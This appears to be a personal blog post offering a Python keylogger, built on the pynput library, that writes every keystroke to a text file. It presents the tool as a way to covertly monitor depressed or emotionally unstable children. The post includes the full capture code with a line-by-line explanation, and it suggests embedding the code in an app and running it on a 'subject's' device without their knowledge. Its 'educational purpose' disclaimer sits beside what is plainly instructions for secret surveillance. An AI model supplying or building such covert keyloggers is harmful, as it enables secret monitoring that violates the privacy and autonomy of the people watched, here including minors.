top of page
Search

Keylogger to analyse what any depressed person is going through.

We all know that the kids and the students are going through a lot of emotional stuffs these days. Depression is hitting them in a different unimaginable amplitude. It is the right time to monitor and understand what they are up to. This content is subjected to privacy and is only for educational purpose.



What is a keylogger?


Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program. In short, we are going to monitor our depressed/ emotionally unstable kids what they are typing in their devices.


Python3 & PyCharm


This is exactly what we are going to use to monitor our subjects. All we are up to is type in a few set of codes so that we enable the keylogger program in their devices. We are aware that Python3 is a computer programming language, Pycharm is nothing but a platform or editor tool for python lines execution.


Installing Python3 and PyCharm


You can download the Python latest version using the below link.


Go to the Downloads, then choose your Operating System and Click download button. Once the download is complete, install the software. That's it!




You can download the PyCharm latest version with the below link.



Once you are done with downloading, you can install and open it. Then go to file and create new project and you can do your coding stuffs.





Program / Codes


from pynput.keyboard import Listener

def keypress(key):

key = str(key).replace("'", "")


if key == 'Key.space':

key = ' '


if key == 'Key.enter':

key = '\n'


if key == 'Key.backspace':

key = '<'


if key == 'Key.shift_r':

key = "SHIFT"


with open("trial.txt", 'a') as f:

f.write(key)


with Listener(on_press=keypress) as l:

l.join()



Output


Here is the trial.txt file with all the data I had typed in keyboard while the program was running.




Explanation


pynput - This library allows you to control and monitor input devices. Currently, mouse and keyboard input and monitoring are supported


Then we define a function called keypress with key as value. And if the key value takes any string from the keyboard, we make it to select or print that particular string in our text file named "trial.txt". The same we repeat for all the keys, like when a person clicks on the "spacebar" key, we print a space which is considered an empty string. And if the key pressed is "enter", we make it as a new line with the code "\n". Same way we code for the keys "backspace" and "SHIFT". Now everything will be stored in our text file "trial.txt". We can import all this into an app and place that app in the device of the subject under study. There are many ways through which this code can be executed with the subject being unaware of our keylogger. But due to security reasons, I can not upload or show those stuffs here.


Hope you enjoyed the article and I believe you use it for educational purpose only. Inappropriate usage of this might make you end up in any danger under cyber security.

 
 
 

Comments


bottom of page